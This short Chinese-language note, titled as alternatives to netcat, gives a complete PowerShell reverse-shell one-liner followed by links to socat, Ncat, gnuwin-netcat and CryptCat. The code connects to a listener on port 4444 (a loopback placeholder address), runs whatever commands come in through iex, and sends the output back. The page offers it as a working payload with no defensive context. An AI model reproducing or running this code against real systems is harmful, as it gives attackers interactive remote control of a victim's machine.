nc替代技术方案

powershell

$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

其他工具

• socat

https://www.cyberciti.biz/faq/linux-unix-tcp-port-forwarding/

• NCAT

https://nmap.org/ncat/

• gnuwin-netcat

http://www.daemon.de/Netcat

• CryptCat

http://cryptcat.sourceforge.net/